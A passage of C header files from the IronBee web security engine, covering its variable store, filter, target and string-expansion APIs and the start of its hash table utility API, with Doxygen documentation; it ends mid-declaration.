* @defgroup IronBeeEngineVarStore Var Store * * Map source to values. * * @{ **/ /** * Acquire new var store. * * @param[out] store The new var store. * @param[in] mm Memory manager to use. * @param[in] config Var configuration. * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. */ ib_status_t DLL_PUBLIC ib_var_store_acquire( ib_var_store_t **store, ib_mm_t mm, const ib_var_config_t *config ) NONNULL_ATTRIBUTE(1, 3); /** * Access configuration of @a store. **/ const ib_var_config_t DLL_PUBLIC *ib_var_store_config( const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1); /** * Access memory manager of @a store. **/ ib_mm_t DLL_PUBLIC ib_var_store_mm( const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1); /** * Export entire contents. * * @param[in] store Store to export. * @param[in] result List to push values to. **/ void ib_var_store_export( ib_var_store_t *store, ib_list_t *result ) NONNULL_ATTRIBUTE(1, 2); /**@}*/ /** * @defgroup IronBeeEngineVarSource Var Source * * Create, lookup, get, and set sources. * * @{ **/ /** * Register a var source. * * This function registers a var source and establishes it as indexed. It * should only be called at configuration time. It should never be called * at evaluation time. To get a var source at evaluation time, use * ib_var_source_acquire(). * * The phase argument specify the first phase the source will be meaningful * at and the last phase its value will change at. Either or both may be * IB_PHASE_NONE which should be interpreted as any phase and never, * respectively. Specifying these phases accurately can improve performance, * especially in more advance rule systems such as Predicate. * * Is is strongly recommended that sources either never change their value * (and @a initial_phase == final_phase) or that they only change their value * by being list fields and appending additional values to the end of the * list. Source that do not follow this advise will not work properly in * Predicate. * * This function should *only* be used at configuration time, never * afterwards. * * @param[out] source Source acquired. Will have lifetime equal to * @a config. May be NULL. * @param[in] config Var configuration to acquire source for. * @param[in] name Name of source. * @param[in] name_length Length of @a name. * @param[in] initial_phase First phase source has meaningful value in. * @param[in] final_phase Last phase source may change value in. Must be * IB_PHASE_NONE or after @a initial_phase. * @return * - IB_OK on success. * - IB_EEXIST if a source named @a name already exists. * - IB_EINVAL if @a initial_phase is after @a final_phase. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_var_source_register( ib_var_source_t **source, ib_var_config_t *config, const char *name, size_t name_length, ib_rule_phase_num_t initial_phase, ib_rule_phase_num_t final_phase ) NONNULL_ATTRIBUTE(2, 3); /** Access config of @a source. */ const ib_var_config_t DLL_PUBLIC *ib_var_source_config( const ib_var_source_t *source ) NONNULL_ATTRIBUTE(1); /** Access name of @a source. */ void DLL_PUBLIC ib_var_source_name( const ib_var_source_t *source, const char **name, size_t *name_length ) NONNULL_ATTRIBUTE(1, 2, 3); /** Access initial phase of @a source. **/ ib_rule_phase_num_t DLL_PUBLIC ib_var_source_initial_phase( const ib_var_source_t *source ) NONNULL_ATTRIBUTE(1); /** Access final phase of @a source. **/ ib_rule_phase_num_t DLL_PUBLIC ib_var_source_final_phase( const ib_var_source_t *source ) NONNULL_ATTRIBUTE(1); /** True iff @a source is indexed. */ bool DLL_PUBLIC ib_var_source_is_indexed( const ib_var_source_t *source ) NONNULL_ATTRIBUTE(1); /** * Fetch the value of a source in a store. * * This function is fast (small constant) if @a source is indexed and slow * (grows with length of source name and number of sources) otherwise. This * paragraph is the most important performance paragraph in this API. * * @param[in] source Source to get value for. * @param[out] field Where to store value. May be NULL. * @param[in] store Store to get value from. * @return * - IB_OK on success. * - IB_EINVAL if @a source is from a different var configuration than * @a store. * - IB_ENOENT if @a source is not set in @a store. **/ ib_status_t DLL_PUBLIC ib_var_source_get( ib_var_source_t *source, ib_field_t **field, ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 3); /** Const version of ib_var_source_get(). **/ ib_status_t DLL_PUBLIC ib_var_source_get_const( const ib_var_source_t *source, const ib_field_t **field, const ib_var_store_t *store ); /** * Set the value of a source in a store. * * It is recommended that this function only be used to initially set the * field for a source. Subsequent changes should be done by modifying the * field. That is, call this function at transaction start to set the * source to an appropriate field and then change the field value as needed. * * If @a source has already been set, this will overwrite the previous * value. * * The name of @a field will be changed to match that of @a source. * * @sa ib_var_source_initialize() for an easier way to create a field and * set a source to it. * * Unlike ib_var_source_get(), this function is slow; as slow as acquiring a * source. * * @param[in] source Source to set value for. * @param[in] store Store to set value in. * @param[in] field Value to set. May be NULL. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a source is from a different var configuration than * @a store. **/ ib_status_t DLL_PUBLIC ib_var_source_set( ib_var_source_t *source, ib_var_store_t *store, ib_field_t *field ) NONNULL_ATTRIBUTE(1, 2); /** * Acquire a var source. * * If the name of the var source is known at configuration time, call this * then and store the var source somewhere. For indexed var sources, this * will allow for get operations to execute in O(1) time. If the name of * the var source is only known at evaluation time, then call this then. * * This function is slow, with time growing with with @a name_length and number of * registered sources. * * @param[out] source Looked up var source. If @a indexed is false, * then this source has lifetime equal to @a mp. * Otherwise, has lifetime equal to @a config. May * be NULL. * @param[in] mm Memory manager to use for unindexed sources. If * IB_MM_NULL an unindexed lookup will result in * IB_ENOENT. * @param[in] config Var configuration to look up in. * @param[in] name Name of source to lookup. * @param[in] name_length Length of @a name. * @return * - IB_OK on success. * - IB_ENOENT if source if unindexed and @a mm is IB_MM_NULL. * - IB_EALLOC if source is unindexed and allocation fails. **/ ib_status_t DLL_PUBLIC ib_var_source_acquire( ib_var_source_t **source, ib_mm_t mm, const ib_var_config_t *config, const char *name, size_t name_length ) NONNULL_ATTRIBUTE(3, 4); /** * Initialize a source to a given field type. * * This is a helper function which creates a field of the appropriate type and * sets it as the value of @a source. * * Num and float fields are initialized to 0, time is initialize to epoch, * nul string and byte string are initialized to empty strings, lists to * empty lists and sbuffers to result in an error. * * @param[in] source Source to initialize. * @param[out] field Field created; may be NULL. Lifetime will be that of * @a store. * @param[in] store Store to initialize @a source in. * @param[in] ftype Field type. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a source is from a different var configuration than * @a store. * - IB_EINVAL if @a ftype is unsupported, e.g., GENERIC or SBUFFER. **/ ib_status_t DLL_PUBLIC ib_var_source_initialize( ib_var_source_t *source, ib_field_t **field, ib_var_store_t *store, ib_ftype_t ftype ) NONNULL_ATTRIBUTE(1, 3); /** * Append a field to a list source, initializing if needed. * * This is a helper function which appends a field to a source of type list, * initializing it (ib_var_source_initialize()) if needed. * * @param[in] source Source to append to. * @param[in] field Field to append. * @param[in] store Store source value is in. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a source is from a different var configuration than * @a store. * - IB_EINCOMPAT if @a source has a value in store that is non-list. * - IB_EOTHER if there is an unexpected error in field or list handling. **/ ib_status_t DLL_PUBLIC ib_var_source_append( ib_var_source_t *source, ib_var_store_t *store, ib_field_t *field ) NONNULL_ATTRIBUTE(1, 2, 3); /** @} */ /** * @defgroup IronBeeEngineVarFilter Var Filter * * Select subkeys of a field. * * Filters reduced a list source to a shorter list. They do this is one of * two ways: * * 1. The filter may be a string, in which case, the result is all elements * of the list whose name matches the string, case insensitive. * 2. The field may be a dynamic list field, in which case the filter is * passed to it without interpretation. If the result is a list, it is * provided. Otherwise, an error results. * * @{ **/ /** * Acquire a filter * * This function prepares a filter for later use. This should be called at * configuration time whenever possible. * * * @param[out] filter Filter prepared. Filter will have * lifetime equal to @a mp. * @param[in] mm Memory manager to use. * @param[in] filter_string Filter string to prepare. * @param[in] filter_string_length Length of @a filter_string. * * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a filter_string is invalid. Invalid strings include the * empty string. **/ ib_status_t DLL_PUBLIC ib_var_filter_acquire( ib_var_filter_t **filter, ib_mm_t mm, const char *filter_string, size_t filter_string_length ) NONNULL_ATTRIBUTE(1, 3); /** * Apply a filter. * * Apply @a filter to the collection @a field and store results in * @a result. * * @param[in] filter Filter to apply. * @param[out] result Results. Value is `const ib_field_t *`. Lifetime is * equal to @a mp. * @param[in] mm Memory manager to use. * @param[in] field Field to apply filter to. Must be a field with value a * list of `const ib_field_t *`. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a field is not of type list. * - IB_EOTHER if @a field is dynamic and dynamic query results in error. **/ ib_status_t DLL_PUBLIC ib_var_filter_apply( const ib_var_filter_t *filter, const ib_list_t **result, ib_mm_t mm, const ib_field_t *field ) NONNULL_ATTRIBUTE(1, 2, 4); /** * Apply a filter, removing found elements. * * Apply @a filter to the collection @a field, removing any elements found. * Elements removed are stored in @a result if it is non-null. * * @param[in] filter Filter to apply. * @param[out] result Results. Value is `const ib_field_t *`. Lifetime is * equal to @a mp. Can be NULL. * @param[in] mm Memory manager to use. Can be NULL if @a result is NULL. * @param[in] field Field to apply filter to. Must be a field with value a * list of `ib_field_t *`. Cannot be dynamic. * * @return * - IB_OK on success. * - IB_ENOENT if nothing to remove. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a field is not of type list. * - IB_EOTHER if @a field is dynamic and dynamic query results in error. **/ ib_status_t DLL_PUBLIC ib_var_filter_remove( const ib_var_filter_t *filter, ib_list_t **result, ib_mm_t mm, ib_field_t *field ) NONNULL_ATTRIBUTE(1, 4); /** @} */ /** * @defgroup IronBeeEngineVarTarget Var Target * * Source and filter. * * A target is a source and a filter, possibly trivia, or an expand to * construct a filter from. It can be acquired from such or prepared from a * string. At evaluation time, it can be be used to get a list of fields. * As such, it provides an abstraction, turning a user specification of a * target into appropriate fields to act on while hiding details such as the * presence of a filter. * * There are three categories of targets: * * - Trivial, e.g., `foo`, which evaluates to the var named foo. * - Simple, e.g., `foo:bar`, which evaluates to all members of the var `foo` * named `bar`. * - Expand, e.g., `foo:%{bar}`, which replaces `%{bar}` and then interprets * the result as a simple target. This form is fundamentally slower than * the others as the target is reevaluated at execution time. Note * that only simple targets can result, not trivial. Finally, note that the * expansion can be nested, e.g., `foo:x-%{bar:%{baz}}`. * * @{ **/ /** * Acquire a target from a source and an expand or filter. * * @sa ib_var_target_acquire() * * @param[out] target Created target. Lifetime will be equal to @a mp. * @param[in] mm Memory manager to use for allocations. * @param[in] source Source to get field from. * @param[in] expand Expand to use to lazily generate filter. May be * NULL to use @a filter instead. * @param[in] filter Filter to apply to field. May be NULL to indicate * a trivial field. Must be NULL if @a expand is not NULL. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_var_target_acquire( ib_var_target_t **target, ib_mm_t mm, ib_var_source_t *source, const ib_var_expand_t *expand, const ib_var_filter_t *filter ) NONNULL_ATTRIBUTE(1, 3); /** * Return the name of the @ref ib_var_source_t backing this target. * * @param[in] target The target whose source will be queried. * @param[out] name The name of the @ref ib_var_source_t that backs @a target. * @param[out] len The length of @a name. */ void DLL_PUBLIC ib_var_target_source_name( const ib_var_target_t *target, const char **name, size_t *len ) NONNULL_ATTRIBUTE(1, 2); /** * Return the @ref ib_var_source_t used by @a target. * * @param[in] target The target whose source is returned. * * @returns the @ref ib_var_source_t used by @a target. */ ib_var_source_t DLL_PUBLIC *ib_var_target_source( ib_var_target_t *target ) NONNULL_ATTRIBUTE(1); /** * Acquire a target from a specification string. * * A specification string is a source name, optionally followed by a : * and a filter string, i.e., `^[^:]+(:.+)?$`. * * @param[out] target Created target. Lifetime will be equal * to @a mp. * @param[in] mm Memory manager to use for allocations. * @param[in] config Config to find sources in. * @param[in] target_string Target string to prepare from. * @param[in] target_string_length Length of @a target_string. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a target_string is invalid (see ib_var_filter_acquire()). **/ ib_status_t DLL_PUBLIC ib_var_target_acquire_from_string( ib_var_target_t **target, ib_mm_t mm, const ib_var_config_t *config, const char *target_string, size_t target_string_length ) NONNULL_ATTRIBUTE(1, 3, 4); /** * Fetch types of target; read-only. * * @param[in] target Target to get values of. * @param[in] store Store holding values. * @param[out] type The type that the requested target is. * * @return * - IB_OK On success. * - IB_ENOENT If the field is not found. */ ib_status_t ib_var_target_type( ib_var_target_t *target, ib_var_store_t *store, ib_ftype_t *type ) NONNULL_ATTRIBUTE(1, 2, 3); /** * Fetch values of target; read-only. * * This function always outputs to a list stored in @a result. For list * fields, this will either be the filtered list value of the field (possibly * via a trivial filter). For non-list filters, this will either be a list * with a single element, the value; or an error if the filter is non-trivial. * * The lifetime of @a result will depend on the value. For non-filtered * list fields, the underlying value will be reported directly and @a result * will have lifetime equal to that field. For all other results, the * lifetime will equal that of @a mp. * * @param[in] target Target to get values of. * @param[out] result Fetched values. Lifetime will vary. See above. * Value is `ib_field_t *`. * @param[in] mm Memory manager to use for allocations. * @param[in] store Store holding values. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if target and store have different configs. * - IB_EINVAL if filter is non-trivial and value of source is not a list. * - IB_ENOENT if source does not exist in store. * - IB_EOTHER if source value is dynamic and query results in error. **/ ib_status_t DLL_PUBLIC ib_var_target_get( ib_var_target_t *target, const ib_list_t **result, ib_mm_t mm, ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 4); /** * Const version of ib_var_target_get(). * * Value of @a result: `const ib_field_t *`. **/ ib_status_t DLL_PUBLIC ib_var_target_get_const( const ib_var_target_t *target, const ib_list_t **result, ib_mm_t mm, const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 4); /** * Remove entries described by target. * * This function behaves differently depending on the target type: * * - Trivial: Equivalent to using ib_var_source_set() to set the source to * NULL. * - Simple: Equivalent to using ib_var_filter_remove(). * - Expand: As Simple, but with an expansion step. * - Regexp: Returns IB_EINVAL. * * @param[in] target Target to get values of. * @param[out] result Removed values. Lifetime will be equal to @a mp. May * be NULL. * @param[in] mm Memory manager to use for allocations. May be NULL if * @a result is NULL. * @param[in] store Store holding values. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_ENOENT if nothing to remove. * - IB_EINVAL if target and store have different configs. * - IB_EINVAL if filter is non-trivial and value of source is not a list. * - IB_EINVAL if value of source is dynamic. **/ ib_status_t DLL_PUBLIC ib_var_target_remove( ib_var_target_t *target, ib_list_t **result, ib_mm_t mm, ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 4); /** * Convert an expand target to a simple target. * * This function does the expansion of the target. The result can then be * used multiple times without reincurring the cost of expansion. However, * expansion fixes the expanded values. As such, this routine should only * be used at evaluation time for targets that will be reused with no changes * to the store in between uses. * * If called with a non-expand target, will output @a target. * * @param[in] target Target to expand. * @param[out] expanded Expanded target. Lifetime will be that of @a target * for non-expand targets and that of @a mp for expand * targets. * @param[in] mm Memory manager to use. * @param[in] store Store to use. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_var_target_expand( ib_var_target_t *target, ib_var_target_t **expanded, ib_mm_t mm, const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 4); /** * Const version of ib_var_target_expand(). **/ ib_status_t DLL_PUBLIC ib_var_target_expand_const( const ib_var_target_t *target, const ib_var_target_t **expanded, ib_mm_t mm, const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 4); /** * Set target to a value. * * This function behaves differently depending on the target: * - Trivial: Equivalent to ib_var_source_set() except that @a field cannot * be null. * - Simple: If source not set, will initialize a list field via * ib_var_source_initialize(). Will then append @a field to source. * - Expand: Will expand and then as above. * - Regexp: Will return IB_EINVAL. * * Note that @a field cannot be NULL. Use ib_var_target_remove() instead. * * @param[in] target Target to set. * @param[in] mm Memory manager to use. * @param[in] store Store to use. * @param[in] field Field to set value to. Will have name overridden based on * filter. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. * list or is dynamic. * - IB_EINVAL if config of @a store does not match that of @a target. **/ ib_status_t DLL_PUBLIC ib_var_target_set( ib_var_target_t *target, ib_mm_t mm, ib_var_store_t *store, ib_field_t *field ) NONNULL_ATTRIBUTE(1, 3, 4); /** * As ib_var_target_set() but removes any existing values first. * * This helper function is equivalent to calling ib_var_target_remove() * followed by ib_var_target_set(). * * @param[in] target Target to remove and set. * @param[in] mm Memory manager to use. * @param[in] store Store to use. * @param[in] field Field to set value to. Will have name overridden based on * filter. * @return * - As described in ib_var_target_remove() and ib_var_target_set(). **/ ib_status_t DLL_PUBLIC ib_var_target_remove_and_set( ib_var_target_t *target, ib_mm_t mm, ib_var_store_t *store, ib_field_t *field ) NONNULL_ATTRIBUTE(1, 3, 4); /** @} */ /** * @defgroup IronBeeEngineVarExpand Var Expand * * Expand string by substituting references to vars. * * An expandable string may containing var references via `%{target}`. When * expanded, all targets are replaced with stringified versions of their * values, or the empty string if they do not exist. * * Expandable strings should be converted, as early as possible, to * @ref ib_var_expand_t. These can then be executed to gain expanded strings * when needed. * * @{ **/ /** * Acquire a string expansion. * * When executed with ib_var_expand_execute(), any references to targets of * the form `%{target}` will be replaced with the result of that target * (if possible). * * @param[out] expand Resulting string expansion preparation. Lifetime * will equal @a mp. * @param[in] mm Memory manager to use. * @param[in] str String to expand. * @param[in] str_length Length of @a str. * @param[in] config Config to expand from. * @return * - IB_OK on success. * - IB_EALLOC on allocation error. * - IB_EINVAL if @a target_string is invalid (see ib_var_filter_acquire()). **/ ib_status_t DLL_PUBLIC ib_var_expand_acquire( ib_var_expand_t **expand, ib_mm_t mm, const char *str, size_t str_length, const ib_var_config_t *config ) NONNULL_ATTRIBUTE(1, 3, 5); /** * Execute prepared string expansion to get expanded string. * * @note Errors that occur during target expansion do not cause this method * to fail. Instead, they result in expansion of the target at issue into * an error message in the string. * * @param[in] expand String expansion to expand. * @param[out] dst Expanded string. Lifetime will equal @a mp. * @param[out] dst_length Length of @a dst. * @param[in] mm Memory manager to use. * @param[in] store Store to use. * @return * - IB_OK on success. * - IB_EALLOC on allocation failure. **/ ib_status_t DLL_PUBLIC ib_var_expand_execute( const ib_var_expand_t *expand, const char **dst, size_t *dst_length, ib_mm_t mm, const ib_var_store_t *store ) NONNULL_ATTRIBUTE(1, 2, 3, 5); /** * Check if @a str has expansions. * * This looks for a substring of the form `%{...}` for any `...`. * * @param[in] str String to test. * @param[in] str_length Length of @a str. * @return true iff string contains target expansion expression. **/ bool DLL_PUBLIC ib_var_expand_test( const char *str, size_t str_length ) NONNULL_ATTRIBUTE(1); /** @} */ /** * @} IronBeeEngineVar */ #ifdef __cplusplus } #endif #endif
crustymonkey/ironbee
include/ironbee/hash.h
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ #ifndef _IB_HASH_H_ #define _IB_HASH_H_ /** * @file * @brief IronBee --- Hash Utility Functions * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include <ironbee/build.h> #include <ironbee/list.h> #include <ironbee/mm.h> #include <ironbee/types.h> #include <stdbool.h> #ifdef __cplusplus extern "C" { #endif /** * @defgroup IronBeeHash Hash * @ingroup IronBeeUtil * * Hash based map of null-string to void*. * * @{ */ /** * Hash table. * * A map of keys (byte sequences or strings) to values (@c void*). * * @warning The @c void* value type works well for pointers but can cause * problems if other data is stored in there. If you store non-pointer * types, make sure they are as wide as your pointers are. * * @sa IronBeeHash * @sa hash.h **/ typedef struct ib_hash_t ib_hash_t; /** * Hash iterator. * * An external iterator for hashes. * * @sa ib_hash_iterator() * @sa ib_hash_fetch() * @sa ib_hash_first() * @sa ib_hash_at_end() * @sa ib_hash_next() **/ typedef struct ib_hash_iterator_t ib_hash_iterator_t; /** * Function pointer for a hash function. * * A hash function converts keys (byte sequences) into hash values (unsigned * integers). A good hash function is vital to the performance of a hash. * The @a randomizer parameter is provided to the hash function to allow the * hash function to vary from hash to hash and thus avoid collision attacks. * The @a randomizer parameter will always be the same for a given hash. * * @param[in] key Key to hash. * @param[in] key_length Length of @a key. * @param[in] randomizer Value to randomize hash function. * @param[in] cbdata Callback data. * * @returns Hash value of @a key. **/ typedef uint32_t (*ib_hash_function_t)( const char *key, size_t key_length, uint32_t randomizer, void *cbdata ); /** * Function pointer for a key equality function. * * Should return 1 if @a a and @a b are to be considered equal keys and 0 * otherwise. * * @param[in] a First key. * @param[in] a_length Length of @a a. * @param[in] b Second key. * @param[in] b_length Length of @a b. * @param[in] cbdata Callback data. * * @returns 1 if @a a and @a b are to be considered equal and 0 otherwise. **/ typedef int (*ib_hash_equal_t)( const char *a, size_t a_length, const char *b, size_t b_length, void *cbdata ); /** * @name Hash functions and equality predicates. * Functions suitable for use as ib_hash_function_t and ib_hash_equal_t. * * @sa ib_hash_create_ex() */ /*@{*/ /** * DJB2 Hash Function (Dan Bernstein) plus randomizer. * * This is the default hash function for ib_hash_create(). * * @sa ib_hashfunc_djb2_nocase(). * * @code * hash = randomizer * for c in ckey * hash = hash * 33 + c * @endcode * * @param[in] key The key to hash. * @param[in] key_length Length of @a key. * @param[in] randomizer Value to randomize hash function. * @param[in] cbdata Callback data; unused. * * @returns Hash value of @a key. */ uint32_t DLL_PUBLIC ib_hashfunc_djb2( const char *key, size_t key_length, uint32_t randomizer, void *cbdata ) NONNULL_ATTRIBUTE(1); /** * DJB2 Hash Function (<NAME>) plus randomizer. Case insensitive * version. * * This is the default hash function for ib_hash_create_nocase(). * * @sa ib_hashfunc_djb2(). * * @code * hash = randomizer * for c in ckey * hash = hash * 33 + tolower(c) * @endcode * * @param[in] key The key to hash. * @param[in] key_length Length of @a key. * @param[in] randomizer Value to randomize hash function. * @param[in] cbdata Callback data; unused. * * @returns Hash value of @a key. */ uint32_t DLL_PUBLIC ib_hashfunc_djb2_nocase( const char *key, size_t key_length, uint32_t randomizer, void *cbdata ) NONNULL_ATTRIBUTE(1); /** * Byte for byte equality predicate. * * This is the default equality predicate for ib_hash_create(). * * @sa ib_hashequal_nocase(). * * @param[in] a First key. * @param[in] a_length Length of @a a. * @param[in] b Second key. * @param[in] b_length Length of @a b. * @param[in] cbdata Callback data; unused. * * @returns 1 if @a a and @a b have same length and same bytes and 0 * otherwise. **/ int DLL_PUBLIC ib_hashequal_default( const char *a, size_t a_length, const char *b, size_t b_length, void *cbdata ) NONNULL_ATTRIBUTE(1, 3); /** * Byte for byte equality predicate. * * This is the default equality predicate for ib_hash_create_nocase(). * * @sa ib_hashequal_default(). * * @param[in] a First key. * @param[in] a_length Length of @a a. * @param[in] b Second key. * @param[in] b_length Length of @a b. * @param[in] cbdata Callback data; unused. * * @returns 1 if @a a and @a b have same length and same bytes and 0 * otherwise. **/ int DLL_PUBLIC ib_hashequal_nocase( const char *a, size_t a_length, const char *b, size_t b_length, void *cbdata ) NONNULL_ATTRIBUTE(1, 3); /*@}*/ /** * @name Creation * * Functions to create hashes. */ /*@{*/ /** * Create a hash table. * * @sa ib_hash_create() * * @param[out] hash The newly created hash table. * @param[in] mm Memory manager to use. * @param[in] size The number of slots in the hash table. * Must be a power of 2. * @param[in] hash_function Hash function to use, e.g., ib_hashfunc_djb2(). * @param[in] hash_cbdata Callback data for @a hash_function. * @param[in] equal_predicate Predicate to use for key equality. * @param[in] equal_cbdata Callback data for @a equal_predicate. * * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. * - IB_EINVAL if @a size is not a power of 2, or pointers are NULL. */ ib_status_t DLL_PUBLIC ib_hash_create_ex( ib_hash_t **hash, ib_mm_t mm, size_t size, ib_hash_function_t hash_function, void *hash_cbdata, ib_hash_equal_t equal_predicate, void *equal_cbdata ) NONNULL_ATTRIBUTE(1); /** * Create a hash table with ib_hashfunc_djb2(), ib_hashequal_default(), and a * default size. * * @sa ib_hash_create_ex() * * @param[out] hash The newly created hash table. * @param[in] mm Memory manager to use. * * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. */ ib_status_t DLL_PUBLIC ib_hash_create( ib_hash_t **hash, ib_mm_t mm ) NONNULL_ATTRIBUTE(1); /** * Create a hash table with ib_hashfunc_djb2_nocase(), ib_hashequal_nocase() * and a default size. * * @sa ib_hash_create_ex() * * @param[out] hash The newly created hash table. * @param[in] mm Memory manager to use. * * @returns * - IB_OK on success. * - IB_EALLOC on allocation failure. */ ib_status_t DLL_PUBLIC ib_hash_create_nocase( ib_hash_t **hash, ib_mm_t mm ) NONNULL_ATTRIBUTE(1); /*@}*/ /** * @name Accessors * * Functions to access hash properties. */ /*@{*/ /** * Access memory manager of @a hash. * * @param[in] hash Hash table. * * @returns Memory manager of @a hash. **/ ib_mm_t DLL_PUBLIC ib_hash_mm( const ib_hash_t *hash ) NONNULL_ATTRIBUTE(1); /** * Number of elements in @a hash. * * @param[in] hash Hash table. * * @returns Number of elements in @a hash. **/ size_t DLL_PUBLIC ib_hash_size( const ib_hash_t* hash ) NONNULL_ATTRIBUTE(1); /*@}*/ /** * @name Non-mutating * * These functions do not alter the hash. */ /*@{*/ /** * Fetch value from @a hash for key @a key. * * @sa ib_hash_get() * * @param[in] hash Hash table. * @param[out] value Address which value is written. May be NULL. * @param[in] key Key to lookup. * @param[in] key_length Length of @a key. * * @returns * - IB_OK on success. * - IB_ENOENT if @a key is not in hash table. * - IB_EINVAL if any parameters are invalid. */ ib_status_t DLL_PUBLIC ib_hash_get_ex( const ib_hash_t *hash, void *value, const char *key, size_t key_length ) NONNULL_ATTRIBUTE(1, 3); /** * Get value for @a key (NULL terminated char string) from @a hash. * * @sa ib_hash_get_ex() * * @param[in] hash Hash table. * @param[out] value Address which value is written. May be NULL. * @param[in] key Key to lookup * * @returns * - IB_OK on success. * - IB_ENOENT if @a key is not in hash table. * - IB_EINVAL if any parameters are invalid. */ ib_status_t DLL_PUBLIC ib_hash_get( const ib_hash_t *hash, void *value, const char *key ) NONNULL_ATTRIBUTE(1, 3); /** * Push every entry from @a hash onto @a list. * * Order is undefined. The values pushed to the list are the entry values * (@c void @c *). * * @param[in] hash Hash table to take values from. * @param[in,out] list List to push values. * * @returns * - IB_OK if any elements are pushed. * - IB_ENOENT if @a hash is empty. */ ib_status_t DLL_PUBLIC ib_hash_get_all( const ib_hash_t *hash, ib_list_t *list ) NONNULL_ATTRIBUTE(1, 2); /*@}*/ /** * @name Mutating * * These functions alter the hash. */ /*@{*/ /** * Set value of @a key in @a hash to @a data. * * @sa ib_hash_set() * * @param[in,out] hash Hash table. * @param[in] key Key. * @param[in] key_length Length of @a key * @param[in] value Value. * * If @a value is NULL, removes element. * * @returns * - IB_OK on success. * - IB_EALLOC if @a hash attempted to grow and failed. */ ib_status_t DLL_PUBLIC ib_hash_set_ex( ib_hash_t *hash, const char *key, size_t key_length, void *value ) NONNULL_ATTRIBUTE(1, 2); /** * Set value of @a key (NULL terminated char string) in @a hash to @a value. * * @sa ib_hash_set_ex() * * @param[in,out] hash Hash table. * @param[in] key Key. * @param[in] value Value. * * If @a value is NULL, removes element. * * @returns * - IB_OK on success. * - IB_EALLOC if @a hash attempted to grow and failed. */ ib_status_t DLL_PUBLIC ib_hash_set( ib_hash_t *hash, const char *key, void *value ) NONNULL_ATTRIBUTE(1, 2); /** * Clear hash table @a hash. * * Removes all entries from @a hash. * * @param[in,out] hash Hash table to clear. */ void DLL_PUBLIC ib_hash_clear( ib_hash_t *hash ) NONNULL_ATTRIBUTE(1); /** * Remove value for @a key from @a data. * * @sa ib_hash_remove() * * @param[in,out] hash Hash table. * @param[in,out] value If non-NULL, removed value will be stored here. * @param[in] key Key. * @param[in] key_length Length of @a key. * * @returns * - IB_OK on success. * - IB_ENOENT if @a key is not in hash table. * - IB_EINVAL if any parameters are invalid. */ ib_status_t DLL_PUBLIC ib_hash_remove_ex( ib_hash_t *hash, void *value, const char *key, size_t key_length ) NONNULL_ATTRIBUTE(1, 3); /** * Remove value for @a key (NULL terminated char string) from @a data. * * @sa ib_hash_remove_ex() * * @param[in,out] hash Hash table. * @param[in,out] value If non-NULL, removed value will be stored here. * @param[in] key Key. * * @returns * - IB_OK on success. * - IB_ENOENT if @a key is not in hash table. * - IB_EINVAL if any parameters are invalid. */ ib_status_t DLL_PUBLIC ib_hash_remove( ib_hash_t *hash, void *value, const char *key ) NONNULL_ATTRIBUTE(1, 3); /*@}*/ /** * @name Iterators * * These functions relate to hash iterators. */ /*@{*/ /** * Create a hash iterator. * * @warning Return iterator is singular and all behavior is undefined except * for calling ib_hash_iterator_first(). * * @param[in] mm Memory manager to use. * @return New iterator or NULL on allocation error. **/ ib_hash_iterator_t DLL_PUBLIC *ib_hash_iterator_create( ib_mm_t mm ); /** * Create a hash iterator with malloc. * * Caller is responsible for freeing. * * @return New iterator or NULL on allocation error. **/ ib_hash_iterator_t DLL_PUBLIC *ib_hash_iterator_create_malloc(); /** * Is iterator at end of hash. * * @warning Behavior is undefined for singular iterators. * * @param[in] iterator Iterator to check. * @return true iff iterator is at end of hash. **/ bool DLL_PUBLIC ib_hash_iterator_at_end( const ib_hash_iterator_t *iterator ) NONNULL_ATTRIBUTE(1); /** * Fetch value of hash. * * @warning Behavior is undefined for singular iterators or iterators at * end of hash. * * Any out variable may be NULL. * * @param[out] key Key. * @param[out] key_length Length of @a key. * @param[out] value Value. * @param[in] iterator Iterator to fetch value of. **/ void DLL_PUBLIC ib_hash_iterator_fetch( const char **key, size_t *key_length, void *value, const ib_hash_iterator_t *iterator ) NONNULL_ATTRIBUTE(4); /** * Return iterator pointing to first entry of @a hash. * * @param[out] iterator Iterator to set. * @param[in] hash Hash table to iterate over. */ void DLL_PUBLIC ib_hash_iterator_first( ib_hash_iterator_t *iterator, const ib_hash_t *hash ) NONNULL_ATTRIBUTE(1, 2); /** * Move 